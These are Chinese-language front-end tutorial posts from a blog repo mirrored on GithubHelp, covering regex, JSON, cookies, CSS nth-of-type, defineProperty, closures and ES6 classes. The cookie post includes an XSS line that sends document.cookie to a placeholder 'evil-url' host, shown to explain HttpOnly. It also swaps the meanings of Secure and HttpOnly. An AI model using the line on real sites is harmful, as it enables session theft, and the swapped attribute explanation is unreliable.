GithubHelp home page GithubHelp logo

eminoda / myblog Goto Github PK

View Code? Open in Web Editor NEW
2.0 2.0 0.0 54.17 MB

:memo: 个人博客(hexo)

JavaScript 74.91% HTML 1.91% CSS 2.17% CoffeeScript 0.22% Batchfile 0.01% Shell 0.01% Stylus 18.35% SCSS 0.42% EJS 2.02%
blog hexo

myblog's People

Contributors

eminoda avatar

Stargazers

 avatar  avatar

Watchers

 avatar  avatar

myblog's Issues

js 基础 -- 正则表达式


js 基础--正则表达式

正则表达式

我很烦躁去理解正则表达式 😩,和天书一样难懂。

每次需要完成校验逻辑都是去百度 两个,并且老是出 bug,轮到自己写又一团乱麻,归根结底还是一知半解,希望再次学习能对这东西能有进一步的认识。

简单科普

正则表达式(Regular Expression),通常缩写成 regex,是计算机相关的概念。

使用单个字符串来描述、匹配一系列匹配某个句法规则的字符串。

js 里的正则

正则表达式也是对象之一(RegExp),用于匹配字符串中字符组合的模式(pattern),有 exec 和 test 方法;同时我们常用的 String 对象中的 match ,replace 也可以使用 regex。

简单的可使用 字面量 方式,通过 /pattern/ 定义正则表达式:

var regExp = /pattern/flags;

var regex = /[a-zA-z]+\.com/g;

pattern 和 flags

pattern 规则

pattern 是正则表达式的主体。如下,列出常用规则及说明,具体详见:全部规则

字符 含义
\ 转义字符
^ 匹配输入的开始
$ 匹配输入的结束
* 0 or 多次 等价于{0,}
+ 1 or 多次,至少出现一次。等价于 {1,}
? 0 or 1 次,等价于 {0,1}
. 换行 \n 之外的单个字符
{n} 匹配重复出现 n 次
{n,m} n<= 匹配出现次数 <=m
[xyz] 匹配方括号中的任意字符
[^xyz] 匹配任何没有包含在方括号中的字符,特别注意这里的 ^ 是去反(反向字符集)
\b 匹配一个词的边界(前后没有其他字符)
\s 匹配任何空白字符,包括空格、制表符、换页符等等。等价于[ \f\n\r\t\v]。
\S 匹配任何非空白字符。等价于[^ \f\n\r\t\v]。
\w 匹配包括下划线的任何单词字符。等价于“[A-Za-z0-9_]”。
\W 匹配任何非单词字符。等价于“[^a-za-z0-9_]”。
x | y ‘x’或者‘y’
(x) 捕获括号(匹配 'x' 并且记住匹配项
(?:x) 非捕获括号(匹配 'x' 但是不记住匹配项
x(?=y) 正向肯定查找
x(?!y) 正向否定查找

标识符 flags

定义在正则表达式 pattern 后面的标识符

flag 描述
g 全局模式(global),而非匹配到一个项就停止
i 不区分大小写(case-insensitive)
m 多行模式(multiline) ,和 ^$结合使用,当表达式换行符\n,则会匹配中
u Unicode 字符集解析字符
y Perform a "sticky" search that matches starting at the current position in the target string.
  • g 标识符,如下 demo 会依次输出匹配结果

    // 如果不适用结果就会一直是 ["11-", index: 0, input: "11-22-33-"]
    var regex = /[0-9]{2}-/g;
    for (var i = 0; i < 3; i++) {
    	console.log(regex.exec('11-22-33-'));
    	// ["11-", index: 0, input: "11-22-33-"]
    	// ["22-", index: 3, input: "11-22-33-"]
    	// ["33-", index: 6, input: "11-22-33-"]
    }
  • i 标识符

    /[abc]/.test('ABC'); //false
    /[abc]/i.test('ABC'); //true
  • m 标识符

    ^ $ 搭配使用,遇到换行符就会当成 ^ $

    /[abc]+$/.test('abc\r\n'); //false
    /[abc]+$/m.test('abc\r\n'); //true
  • u 标识符

    /^\uD83D/u.test('\uD83D\uDC2A') // false 正确处理 Unicode 字符,导致不匹配
    /^\uD83D/.test('\uD83D\uDC2A') // true ES5 不支持该字符,会将两个字符识别出一个
  • y 标识符

    和 g 做区分,y 是从上次匹配完的结果后,从剩余字符串的起始位置开始匹配(紧密粘连 sticky);相反 g 修饰符是剩余数据有匹配就行,对位置没有要求。

    var s = 'aaa_aa_a';
    var r1 = /a+/g;
    var r2 = /a+/y;
    
    r1.exec(s); // ["aaa"]
    r2.exec(s); // ["aaa"]
    
    r1.exec(s); // ["aa"]
    r2.exec(s); // null '_aa_a' 不符合规则

RegExp 构造函数

var regExp = new RegExp("pattern", "flags");

内置属性(prototype)

var regex = new RegExp('[a-zA-z]+\\.com', 'g');
// 需要注意的是,转移字符 \ 在字符串中要多个反斜杠(因为 \ 在字符串里面也是一个转义字符)

regex.global; // true
regex.multiline; // false
regex.ignoreCase; // false
regex.source; // "[a-zA-z]+\.com"
regex.lastIndex; // 0 表示开始搜索下一个匹配项的位置,起始值 0

lastIndex 重点说明下

全局模式 下所造成非预期的结果,看如下例子:

var camelizeRE = /-(\w)/g;
console.log(camelizeRE.test('app-list')); //true
console.log(camelizeRE.lastIndex); // 5
console.log(camelizeRE.test('app-List')); //false
// 重置索引
camelizeRE.lastIndex = 0;
console.log(camelizeRE.test('app-List')); //true

😬 注意 lastIndex 索引所指的位置,就清楚了为什么全局模式下同一个正则匹配结果会有不同

常用方法

  • test()

    如果不需要知道匹配内容,只需要是否有匹配命中的,可以选择该方法

    var re = /[0-9]/g;
    var result = re.test('a123'); //true
    var result = re.test('abc'); //false
  • exec()

    在一个指定字符串中执行一个搜索匹配。返回一个结果数组或 null

    var re = /test(test1(test2))/g;
    var matches = re.exec('testtest1test2');
    // ["testtest1test2", "test1test2", "test2", index: 0, input: "testtest1test2"]
    数组索引 说明
    [0] 匹配的全部字符串
    [1], ...[n ] 括号中的 分组捕获
    index 匹配到的字符位于原始字符串的基于 0 的索引值(从哪里开始匹配中)
    input 原始字符串

    对于 index ,举个例子说明下

    var matches = re.exec('123testtest1test2');
    // ["testtest1test2", "test1test2", "test2", index: 3, input: "123testtest1test2"]
  • match()

    注意 match 是 String 的内置方法,和 exec 类似,会返回一个匹配结果的数组

    'testtest1test2'.match(/test(test1(test2))/);
    // ["testtest1test2", "test1test2", "test2", index: 0, input: "testtest1test2"]

    exec() 和 match() 的区别

    但如果把 regex 改为 全局模式,结果就少许不同

    'testtest1test2'.match(/test(test1(test2))/g);
    // ["testtest1test2"]
    var data = 'web2.0 .net2.0';
    var pattern = /(\w+)(\d)\.(\d)/g;
    var execResult = pattern.exec(data);
    //  ["web2.0", "web", "2", "0", index: 0, input: "web2.0 .net2.0", groups: undefined]
    var matchResult1 = data.match(pattern); // ["web2.0", "net2.0"]
    var matchResult2 = data.match(/(\w+)(\d)\.(\d)/); // 同 execResult

    非全局模式下,exec 和 match 都会匹配所有结果;全局模式下 match 只匹配整个正则进行全匹配

贪婪与非贪婪匹配

在 Elasticsearch 中看到如下规则,很奇怪有什么不同,其实就是贪婪与非贪婪匹配

DATA .*?
GREEDYDATA .*

举个例子:

/\d+?/.exec('1234'); // 非贪婪 ["1", index: 0, input: "1234"]
/\d+/.exec('1234'); // 贪婪 ["1234", index: 0, input: "1234"]

区别就是正则后多个 ? ,是非贪婪模式,匹配到第一个结果就返回。贪婪模式则会一直匹配直到最后个为止。

分组(捕获)

  • 捕获括号 capturing parentheses
  • 非捕获括号 non-capturing parentheses

区别就是 捕获括号 会依次查找括号匹配命中的结果

捕获括号

/((\d{4})-((\d{2})-(\d{2})))/.exec('2018-12-17');
// ["2018-12-17", "2018-12-17", "2018", "12-17", "12", "17", index: 0, input: "2018-12-17", groups: undefined]

/(\d{4})-((\d{2})-(\d{2}))/.exec('2018-12-17');
// ["2018-12-17", "2018", "12-17", "12", "17", index: 0, input: "2018-12-17", groups: undefined]

非捕获括号

/(?:\d{4})-(?:\d{2})-(?:\d{2})/.exec('2018-12-17');
// ["2018-12-17"]

肯定,否定查找

  • 正向查找 lookahead
  • 否定查找 negated lookahead

正向查找,如果规则匹配,不会把捕获到的东西展示到结果中

/aaa(?=\d+)/.exec('aaa123'); // ["aaa", index: 0, input: "aaa123", groups: undefined]
/aaa(?=\d+)/.exec('aaabbb'); // null
/aaa(?=\d+)/.test('aaabbb'); // false

否定查找,展示方式同正向查找

/aaa(?!\d+)/.exec('aaabbb'); // ["aaa"]
/aaa(?!\d+)/.exec('aaa123'); // null
/\d{4}(?!-d{2})+/.exec('2018-12-17'); // ["2018"]
/\d{4}-(?![a-z]+)/.test('2018-12-17'); // true

vue 里那些 Demo

  1. 在 html 标签属性 key-value 中,获取去除引号的 value

    var excludeQuotesRe = /[^\s]*=(?:"([^\s]+)")/;
    'id="app"'.match(excludeQuotesRe); //["id="app"", "app", index: 0, input: "id="app"", groups: undefined]
  2. 获取 doctype 声明标签

    var html = '<!doctype html><html></html>';
    // 判断 doctype 标签
    const doctype = /^<!DOCTYPE [^>]+>/i;
    const doctypeMatch = html.match(doctype);
    console.log(doctypeMatch); //["<!doctype html>", index: 0, input: "<!doctype html><html></html>", groups: undefined]
  3. 匹配结尾标签,标签名称可包含冒号,并且是合法的驼峰表达式

    const ncname = '[a-zA-Z_][\\w\\-\\.]*';
    const qnameCapture = `((?:${ncname}\\:)?${ncname})`;
    
    // /^<\/((?:[a-zA-Z_][\w\-\.]*\:)?[a-zA-Z_][\w\-\.]*)[^>]*>/
    const endTag = new RegExp(`^<\\/${qnameCapture}[^>]*>`);
    var endHtml = '';
    '</div>'.match(endTag); //["</div>", "div", index: 0, input: "</div>", groups: undefined]
    '<div>'.match(endTag); //null
    '</foo-bar>'.match(endTag); //["</foo-bar>", "foo-bar", index: 0, input: "</foo-bar>", groups: undefined]
    '</foo-bar:baz>'.match(endTag); // ["</foo-bar:baz>", "foo-bar:baz", index: 0, input: "</foo-bar:baz>", groups: undefined]
    '</foo-bar:>'.match(endTag); //["</foo-bar:>", "foo-bar", index: 0, input: "</foo-bar:>", groups: undefined]
    
    // /^<((?:[a-zA-Z_][\w\-\.]*\:)?[a-zA-Z_][\w\-\.]*)/
    const startTagOpen = new RegExp(`^<${qnameCapture}`);
    '<div><span>123</span></div>'.match(startTagOpen); //["<div", "div", index: 0, input: "<div><span>123</span></div>", groups: undefined]
  4. 标签属性解析

    const attribute = /^\s*([^\s"'<>\/=]+)(?:\s*(=)\s*(?:"([^"]*)"+|'([^']*)'+|([^\s"'=<>`]+)))?/;
    ` id="app" v-if="message">
    
    <!-- 我是注释 -->
    <div>parent:{{ message }}</div>
    
    </div>`.match(attribute);
    // [" id="app"", "id", "=", "app", undefined, undefined, index: 0, input: " id="app" v-if="message">↵	<!-- 我是注释 -->↵	<div>parent:{{ message }}</div>↵</div>", groups: undefined]

    拆分解读下:

    ([^\s"'<>\/=]+): 括号捕获,规则是 反字符集,不包括空白字符和特殊符号。取 id="app" 中的 id

    (?:"([^"]*)"+|'([^']*)'+|([^\s"'=<>`]+)): 括号捕获,分三种情况(截取双引号或者单引号之间的内容,或者没有引号,特殊符号,空白字符的内容),再交给非括号捕获获取最终结果

    (?:\s*(=)\s*(?:"([^"])"+|'([^'])'+|([^\s"'=<>`]+)))?: 非懒查询,最终获取 =value 那么个结果

    最后将整个正则匹配下,得到 key=value

参考

我只是知识点的“加工者”,更多内容请查阅原文链接 💭 ,同时感谢原作者的付出:

js 扩展 -- JSON 序列化中忽视的小方法


js扩展 -- JSON 序列化中忽视的小方法

JSON

你肯定很熟悉以下两个方法:

var foo = { name: 'abc', age: 123 };
var fooStr = JSON.stringify(foo); // "{"name":"abc","age":123}"
JSON.parse(fooStr); // {name: "abc", age: 123}

这些或许不值一提,平时很常用。但是今天遇到一个问题又让我耽搁很多时间,特此把这个知识点列到这里分享下。

toJSON

我要讲的就是 toJSON(),先来还原遇到的场景:

使用 koa ,调用 mongoose 查询数据库某些数据

async list() {
    const { ctx, service } = this;
    let data = await this.getTree(ctx.query.id); // mongoose 封装过的 fn
    data[0].test = { name: 111 };
    ctx.body = data;
}

我期望 data 是如下内容,但 test 属性屡试都赋值不上去

[
	{
		id: '8e356640-44e3-11e9-bb7c-bb73bcb71afc',
		__v: 0,
		test: {
			name: 111
		}
	}
];

再三确认是否 async 或者对象引用,用的“有问题”。其实都没有问题,然后 debugger 找到了问题的源头。

路由层赋值正确

ctx.body = data; // 符合预期

顺着 koa 封装的逻辑,跟到解析 body 处,发现前后数据发生了变化

// node_modules\koa\lib\application.js line 243
body = JSON.stringify(body); // JSON 序列化后 不合预期

其实是 mongoose 有个 toJSON 方法,使得数据有个专门 schema 进行序列化,而非我们所想的数据单纯的进行 JSON.stringify

Document.prototype.toJSON = function(options) {
	return this.$toObject(options, true);
};

扯回正题:

如果一个被序列化的对象拥有 toJSON 方法,那么该 toJSON 方法就会覆盖该对象默认的序列化行为:不是那个对象被序列化,而是调用 toJSON 方法后的返回值会被序列化。

终于这个细节问题找到了合理的解释。

格式化

如果觉得输出格式不美观,JSON.stringify 有专门设置制表格式的参数。

例如:

JSON.stringify({ name: 'abc', age: 123 }, null, 4);
"{
    "name": "abc",
    "age": 123
}"

当然也可以使用 制表符:'\t'

对象复制

使用 JSON 完成对象的深复制

over

js 基础 -- cookie


js 基础 -- cookie

cookie

处理业务需求遇到过如下几个问题,有必要复盘对 cookie 做个汇总:

  • cookie 的存储受 domain 和 path 影响,那 port 端口是会影响?
  • js 如何获取浏览器 cookie?
  • cookie 的失效时间,以及 maxAge 和 Expires 的区别?
  • ...

先介绍下 cookie

HTTP cookie 是当用户访问网页时,由服务端给客户端发送并存储的一个小数据片,由于 HTTP 是无状态的,所以通过 cookie 方式持久化一些有特殊业务作用的数据信息(比如,购物车记录、用户校验信息等)

cookie 几个重要属性

cookie 几个重要属性

Domain 和 Path

这两个属性都关系到存储 cookie 的存储域。

基于 cookie 的域名安全机制 同源策略,www.a.com 域下是不能够访问 www.b.com 下的 cookie 信息的。

但要注意如果 cookie 存放在顶级域名(top domain)下,www.a.com 是能够访问到 a.com 的信息。

同样的,path 路径如果设置了 /page/user ,那 /page/shop 就拿不到前者的 cookie 信息,最好就设置 / 根路径。

再说下 port

可能你在测试环境部署多套项目,即使一个 ip 不同端口, cookie 也会公用。

Expires 和 Max-Age

Expires 和 Max-Age 的设置都可以使 cookie 失效过期,只是前者是一个 Date 的日期;后者为过期的秒数,低版本 IE (6,7,8)不支持此属性,绝大多数浏览器都支持此两者属性,并优先支持 Max-Age。

值得注意的,不同的时区 TimeZone,会导致记录到浏览器的过期时间不同,比如:GMT(格林尼治平时),UTC(协调世界时)

new Date(); // Sun Jun 02 2019 23:23:50 GMT+0800 (**标准时间)
new Date().toUTCString(); // Sun, 02 Jun 2019 15:24:01 GMT
new Date().toGMTString(); // Sun, 02 Jun 2019 15:33:46 GMT

// 另外还有 ISO 标准的时间输出
new Date().toISOString(); // 2019-06-02T15:37:54.607Z

另外,前两天遇到 Node 端重写 cookie,由于 java Expires 过期时间的输出“不正确”,导致 koa 的 cookie 解析时间失败,临时做了如下调整:

ctx.cookies.set('name', 'tobi', {
    path: '/',
    domain: 'foo.com',
    expires: new Date((new Date().getTime() + maxAge * 1000)).toUTCString() // maxAge 后端 java 返回获得
});

Secure and HttpOnly

这是从安全的角度的两个属性,如果设置了,前者 Secure 会让浏览器无法通过 javascript 来获取到 cookie 信息;后者 HttpOnly 会让 cookie 信息只在 Https 协议中传输。

session

与 cookie 不同,前者存放在客户端,后者是服务器生成并记录于浏览器(内存)中的,也就是常说的 session cookie,在浏览器关闭后销毁。 session 是和服务端一同“配合”让数据持久化的技术方案,都是解决 http 无状态这类问题。

服务端向客户端浏览器丢个 sessionId (比如,Tomcat 里的 JESSIONID),每次 http 请求,都会把当前会话的 sessionId 传给服务端,服务端校验自己生成的 sessionId 和客户端的 sessionId 做比对来实现业务校验功能。

当然浏览器关闭后,本地 session 域保存的东西就没有了,但服务器生成的 sessionId 过期时间取决于服务器设置的保存时间。

怎么通过 js 获取 cookie

document.cookie // 即可输出所有 cookie

利用正则遍历出所有 cookie

let cookies = document.cookie;
let cRE = /(\w+)=(\w+);/g; // 参考
let result = cRE.exec(cookies);
while(result){
    console.log(`key:${result[1]},value:${result[2]}`);
    result = cRE.exec(cookies);;
}

也可以通过 document.cookie.split('; '); 这种简单的方法进行切割分组(npm cookie 就是这样做的)

cookie 的保护

属性入手

对于设置 cookie 几个属性,当然不要忽略 Secure and HttpOnly 这两个属性。

比如设置 HttpOnly,就能在 xss 攻击上起到效果。

var img = document.createElement('img');
img.src = 'http://evil-url?c=' + encodeURIComponent(document.cookie); // 获取不到 cookie
document.getElementsByTagName('body')[0].appendChild(img);

不要永久缓存

对每个 cookie 设置符合业务需求的过期时间,同时服务端要有个主动清除 cookie 的逻辑功能,以便万不得已下线所有用户,重新请求 cookie 信息。

加密

通常我们不会对 cookie 信息进行加密,但既然是本地数据就很容易被人模拟。

为了增加网站安全,可以的话做点 Token 机制的安全手段

不要放敏感的信息

该从数据库查的还是查下,安全性上不要吝啬性能消耗。cookie 尽量不要放敏感信息,密码等数据。

怎么查看 Chrome 的 Cookie?

当然大家都是专内人士,可以 F12 查看到 cookie 信息。但具体本地的 cookie 存放在哪里呢?

这里介绍个工具 sqlite

SQLite是一个进程内的库,实现了自给自足的、无服务器的、零配置的、事务性的 SQL 数据库引擎。它是一个零配置的数据库,这意味着与其他数据库一样,您不需要在系统中配置。
就像其他数据库,SQLite 引擎不是一个独立的进程,可以按应用程序需求进行静态或动态连接。SQLite 直接访问其存储文件。

当然我不是转玩这东西的,不过你要知道 chrome 的 cookie 就是靠 sqlite 存放在你的电脑里。

拿 window10 举例,路径在:C:\Users\Administrator\AppData\Local\Google\Chrome\User Data\Default\Cookie (当然这个“数据库”文件你普通方式打开是乱码)

现在简单说下怎么把 cookie 的东西展示出来:

  1. 下载并安装 sqlite3

    如果你是 window 电脑,就找这个栏目下载 Precompiled Binaries for Windows,根据自己系统下载对应的 dll 并放到最后的 sqlite-tools-xxx 中。

  2. 执行命令查看

    对应命令

    根据上图能大概了解 cookie 的表格定义,和本地数据信息(不过这些信息都加密的)

参考

我只是知识点的“加工者”,更多内容请查阅原文链接 💭 ,同时感谢原作者的付出:

css 基础 - nth-of-type


css 基础 -- nth-of-type

看如下代码, 如果你知道哪些内容会以 红色 输出, 说明你应该有不错的基础, 反正我是相当晕菜的(实事求是 😭)。

<h3><code>.line:nth-of-type(2n+1)</code></h3>
<style>
    .wrap-a .line:nth-of-type(2n + 1) {
        font-size: 16px;
        font-weight: bold;
        color: red;
    }
</style>
<div class="wrap">
    <p class="line hello">id:1---p1</p>
    <div class="line">id:2---div1</div>
    <p class="line">id:3---p2</p>
    <div class="line hello">id:4---div2</div>
    <p class="line">id:5---p3</p>
    <div class="line hello">id:6---div3</div>
    <p class="line">id:7---p4</p>
    <div class="line">id:8---div4</div>
    <p class="line">id:9---p5</p>
    <div class="line">id:10---div5</div>
</div>

结果如下, 不知你是否正确? 这篇的目的就是搞懂这些小知识点, 不然对不起几年搬砖留下的“腰肌劳损”。

nth-of-type(2n+1)

nth-of-type

这个 CSS 伪类匹配文档树中在其之前具有 an+b-1 个 相同兄弟节点的元素, 其中 n 为正值或零值。 简单点说就是, 这个选择器匹配那些在相同兄弟节点中的位置与模式 an+b 匹配的相同元素。

依旧混乎乎, 还是结合几个例子看下:

p:nth-of-type(2n+1)

<h3><code>p:nth-of-type(2n+1)</code></h3>
<style>
    .wrap p:nth-of-type(2n + 1) {
        font-size: 16px;
        font-weight: bold;
        color: red;
    }
</style>
<div class="wrap">
    <p class="line">id:1---p1</p>
    <div class="line">id:2---div1</div>
    <p class="line">id:3---p2</p>
    <div class="line">id:4---div2</div>
    <p class="line">id:5---p3</p>
    <div class="line">id:6---div3</div>
    <p class="line">id:7---p4</p>
    <div class="line">id:8---div4</div>
    <p class="line">id:9---p5</p>
    <div class="line">id:10---div5</div>
</div>

p:nth-of-type(2n+1)

这个 demo 可能发现不出自己的问题, 毕竟符合预期显示了符合 奇数规则的 p 标签

.line:nth-of-type(2n+1)

2n+1 是取 符合条件的奇数 标签(我试过 2n-1 也结果一致, 如果不对请 issue :octocat:

和上面不同, 标签 p 换成了 样式选择器 .line , 那哪些符合条件?

<h3><code>.line:nth-of-type(2n+1)</code></h3>
<style>
    .wrap-a .line:nth-of-type(2n + 1) {
        font-size: 16px;
        font-weight: bold;
        color: red;
    }
</style>
<div class="wrap-a">
    <p class="line">id:1---p1</p>
    <div class="line">id:2---div1</div>
    <p class="line">id:3---p2</p>
    <div class="line">id:4---div2</div>
    <p class="line">id:5---p3</p>
    <div class="line">id:6---div3</div>
    <p class="line">id:7---p4</p>
    <div class="line">id:8---div4</div>
    <p class="line">id:9---p5</p>
    <div class="line">id:10---div5</div>
</div>

.line:nth-of-type(2n+1)

原以为和上例一样, 会类似按照 .line 取奇数行做显示, 结果却不是。

其实 .line:nth-of-type(2n+1) 是按照元素类型做个集合, 然后再根据不同的集合取符合奇数规则的显示。 这就解释了为何 p 和 div 都有显示。 而非揉在一起间隔显示。

tips: 注意 nth-of-type 的描述, 相同兄弟节点的元素

.hello:nth-of-type(2n+1)

为了证明上例的猜想, 用了 .hello 选择器做区分, 确认了 标签类别 和伪类共同决定哪些显示。

<h3><code>.hello:nth-of-type(2n+1)</code></h3>
<style>
    .wrap-b .hello:nth-of-type(2n + 1) {
        font-size: 16px;
        font-weight: bold;
        color: red;
    }
</style>
<div class="wrap-b">
    <p class="hello">id:1---p1</p>
    <div class="hello">id:2---div1</div>
    <p class="hello">id:3---p2</p>
    <!-- 虽 .hello 奇数,但 p 标签偶数。未显示 -->
    <div class="">id:4---div2 <span style="padding-left:10px">未显示</span></div>
    <p class="hello">id:5---p3</p>
    <!-- 虽 .hello 偶数,但 div 标签奇数。显示 -->
    <div class="hello">id:6---div3 <span style="padding-left:10px">显示</span></div>
    <p class="">id:7---p4</p>
    <div class="hello">id:8---div4</div>
    <div class="hello">id:9---div5</div>
</div>

.hello:nth-of-type(2n+1)

注意: id:3---p2 内容没有显示; id:6---div3 显示了。

这两个内容所在标签都被 .hello 样式选择器选中。

前者 id 虽符合奇数规则, 但标签 p 却是第二个(偶数), 所以没有输出红色。

同理: 后者 id 虽符合偶数规则, 但标签 div 是第三个(奇数), 所以输出红色。

.line:nth-of-type(2)

<h3><code>.line:nth-of-type(2)</code></h3>
<style>
    .wrap-c .line:nth-of-type(2) {
        font-size: 16px;
        font-weight: bold;
        color: red;
    }
</style>
<div class="wrap-c">
    <p class="line">id:1---p1</p>
    <div class="line">id:2---div1</div>
    <p class="line">id:3---p2</p>
    <div class="line">id:4---div2</div>
    <p class="line">id:5---p3</p>
    <div class="line">id:6---div3</div>
    <p class="line">id:7---p4</p>
    <div class="line">id:8---div4</div>
    <p class="line">id:9---p5</p>
    <div class="line">id:10---div5</div>
</div>

.hello:nth-of-type(2n+1)

结合之前例子, 就能知道为何这两行显示。

.line:nth-child(2)

<h3><code>.line:nth-child(2)</code></h3>
<style>
    .wrap-d .line:nth-child(2) {
        font-size: 16px;
        font-weight: bold;
        color: greenyellow;
    }
</style>
<div class="wrap-d">
    <p class="line">id:1---p1</p>
    <div class="line">id:2---div1</div>
    <p class="line">id:3---p2</p>
    <div class="line">id:4---div2</div>
    <p class="line">id:5---p3</p>
</div>

.line:nth-of-type(2)

和 nth-of-type 不同, child 是根据父节点下, 和伪元素匹配的元素, 且不会按照相同元素 做区分。

最佳实践

在使用上, 无论 :nth-of-type 还是 :nth-child 最好都在前面加个父类的选择器:

selector :nth-of-type

这样有个好处, 不至于由于没控制好“分寸”导致样式影响到其他地方。

如下: (.wrap-test 只是因为区分其他 demo) 比如开发者本地想实现父标签 .test-parent1 下第三个 p 标签显示粉色(.wrap-test .test-parent1 :nth-child(3)), 结果遗漏了父标签, 导致 .test-parent1 和 .test-parent2 都做了显示。

<h3><code>无父类修饰</code></h3>
<style>
    .wrap-test :nth-child(3) {
        font-size: 16px;
        font-weight: bold;
        color: pink;
    }
</style>
<div class="wrap-test">
    <div class="test-parent1">
        <p>id:1---p1</p>
        <p>id:2---p2</p>
        <p>id:3---p3</p>
        <p>id:4---p4</p>
    </div>
    <div class="test-parent2">
        <p>id:1---p1</p>
        <p>id:2---p2</p>
        <p>id:3---p3</p>
        <p>id:4---p4</p>
    </div>
</div>

无父类修饰

参考

我只是知识点的“加工者”, 更多内容请查阅原文链接 💭 , 同时感谢原作者的付出:

关于我

如果你觉得这篇文章对你有帮助, 请点个赞或者分享给更多的道友。

也可以扫码关注我的 微信订阅号 - [ 前端雨爸 ], 第一时间收到技术文章 🚀, 工作之余我会持续输出 🔥

微信订阅号-前端雨爸

最后感谢阅读, 你们的支持是我写作的最大动力 🎉

js 基础 -- 面向对象 1.描述对象属性的属性特征


js基础--面向对象 1.对象属性

众所周知,js 是一门弱类型、解释型的语言。对于我们后端比如 java 之类具有对面对象(Object-Oriented)的语言来说,其缺少类 Class 的概念,虽然 ES6 开始出现了 Class,但只是语法糖。

以上只是说个大概意思。本文讲下对象上属性一些 API。

属性类型

var user = {
	name: 'aaaa',
	age: 10
};

这是创建对象最简单的方式(对象字面量),也是我们常用的。虽然简洁,但需要知道对象上定义的属性有其可配置的属性。

用于描述属性 property 的各种特征

数据类型

  • configurable 是否能调用 delete 删除属性、修改属性特性、修改访问数据。default:true
  • enumerable 可遍历性 for-in。default:true
  • writable 修改属性值。default:true
  • value 值。default:undefined
var user = {};
// 在user对象上,定义name属性,并定义2个内置属性类型
Object.defineProperty(user,'name',{
  writable:false, //属性不可被修改,严格模式下会出错
  value:'bbbb' //设置初始化的值
})
console.log(user.name);// bbbb
user.name = 'cccc';
console.log(user.name);// bbbb
Object.defineProperty(user,'name',{
  configurable:false, //有writable的作用,还有限制不能删除name属性
  value:'bbbb' //设置初始化的值
})
delete user.name //error
Object.defineProperty(user,'name',{
  configurable:true, //如果之前设置false,就不能再次修改回来
})

访问器属性

  • configurable 是否能调用 delete 删除属性、修改属性特性、修改访问数据。default:true
  • enumerable 可遍历性 for-in。default:true
  • get
  • set

getter、settter 和 Java 语言一样,用于对象数据的读取

var user = {
  _name:'aaaa',// 定义一个private属性
  age:10
}
Object.defineProperty(user,'name',{ //创建一个新属性name
  get:function(){
    console.log('get call');
    return this._name;
  }
  set:function(newName){
    console.log('set call');
    this._name = newName
  }
})
user.name //get call  "aaaa"
user.name= 'bbbb' //set call "bbbb"

数据属性和访问器属性区别

- configurable enumerable value writable get set
数据属性 y y y y n n
访问器属性 y y n n n n
var obj = {
	_name: 'abcd'
};
Object.defineProperty(obj, 'name', {
	configurable: true,
	writable: true, // error
	value: 'aaaa', // error
	get() {
		return this._name;
	}
});
// TypeError: Invalid property descriptor.
// Cannot both specify accessors and a value or writable attribute, #<Object>
console.log(obj.name);

定义多个属性

上例都是围绕 Object.defineProperty 定义单个属性。如下定义多个属性:

Object.defineProperties(obj,{
  property1:{
    ...
  },
  property2:{
    ...
  }
})

读取属性

var propertyDesc = Object.getOwnPropertyDescriptor(obj,"property");
propertyDesc.value
propertyDesc.writable
...

over

js 基础- - 函数表达式 闭包


js基础--函数表达式 5.闭包

函数

两种定义方式

  • 函数声明
  • 函数表达式

函数声明提升

对于 函数声明,具有该特性

say();//调用在声明之前,不会报错
function say(){}

注意

if(true){
    function say(){
        console.log('if');
    }
}else{
    function say(){
        console.log('else');
    }
}
// 不同浏览器可能申明提升不同,if or else

闭包

有能力访问另一个函数作用域中的变量

function compare(name){
    // 匿名函数?
    return function(obj1,obj2){
        var name1 = obj1[name];//闭包?
        var name2 = obj2[name];//闭包?
        return name1<name2?-1:name1>name2?1:0;
    }
}
compare('name')({name:2},{name:1});//1

注意

闭包只是保存了某个对象的引用,调用完后并不会自动垃圾回收。只有当匿名函数被销毁,才会清空引用。

var result = compare('name')({name:2},{name:1});
compare = null;

闭包与变量

发现网上的面试题经常有类似的题目

function test(){
    var arr = [];
    for(var i=1;i<=5;i++){
        console.log('loop::'+i)
        arr[i] = function(){
        console.log('call::'+i)
            return i;
        }
    }
    return arr;
}

虽然有些不可思议,原因其实也很简单:arr[i]虽然返回一个函数,并且看似是当前循环的索引,但是对于test函数来说作用域是同一个。也就是会取for循环结束后的i值。

test()[1]()
//loop::1
//loop::2
//loop::3
//loop::4
//loop::5
//call::6

通过立即执行函数来对该函数做处理:给原来的函数改为立即执行函数,重新制定作用域。

arr[i] = function(num){
    return function(){
        return num;
    }
}(i)

js 扩展 -- defineProperty使用场景

defineProperty

用于定义 Object 上属性类型(数据属性、访问属性),可以看下 js 基础--面向对象 1.描述对象属性的属性特征

看 Vue 代码,很好奇 Vue.config 是怎么和 src\core\config.js 做关联的。其实就用了这个 API 😀

const configDef = {};
configDef.get = () => config;
if (process.env.NODE_ENV !== "production") {
  configDef.set = () => {
    warn(
      "Do not replace the Vue.config object, set individual fields instead."
    );
  };
}
Object.defineProperty(Vue, "config", configDef);

再结合一个简单 Demo,就能体会到其中含义

var config = {
  version: "0.0.1",
  performance: false
};
var configDef = {};
configDef.get = function() {
  return config;
};
// 定义对象
var user = {};
// 挂在一个config属性,并具备getter能力
Object.defineProperty(user, "config", configDef);

console.log(user.config); //{version: "0.0.1", performance: false}

目录

js ES6 -- class


es6 -- class

class

class 是什么鬼,具体看下阮老师的文章

这里更多记录一些 class 使用上的一些注意点

语法糖和原生 js 的实现

只是揣摩 class 的实现,不一定正确,但总得有个理解过程。

class Parent {
	constructor() {
		this.name = 'Parent';
	}
	say() {
		console.log(this.name);
	}
}
class Child extends Parent {
	constructor() {
		super();
		this.name = 'Child';
	}
}

const instance = new Child();
console.log(instance);
function ParentES5() {
	this.name = 'Parent';
}
ParentES5.prototype.say = function() {
	console.log(this.name);
};
function ChildES5() {
	ParentES5.call(this);
	this.name = 'Child';
}
var prototype = Object.create(ParentES5.prototype);
prototype.contructor = ChildES5;
ChildES5.prototype = prototype;

var instanceES5 = new ChildES5();
console.log(instanceES5);

class 中定义 defineProperty

我们一个“类”、对象被创建时,里面的 this 通常指定其本身引用。但是看到 Egg 在绑定 service 时用到如下技巧,虽然是在实例化它的工具类,但内部却把属性定义绑定在指定 obj 上。

这个 this 不要错误认为是 TestProperDefined,而是 obj 的。

var obj = {
	name: 123
};
class TestProperDefined {
	constructor() {
		Object.defineProperty(obj, 'service', {
			get() {
				console.log(this); // { name: 123 }
				return 'service';
			}
		});
	}
}
new TestProperDefined();

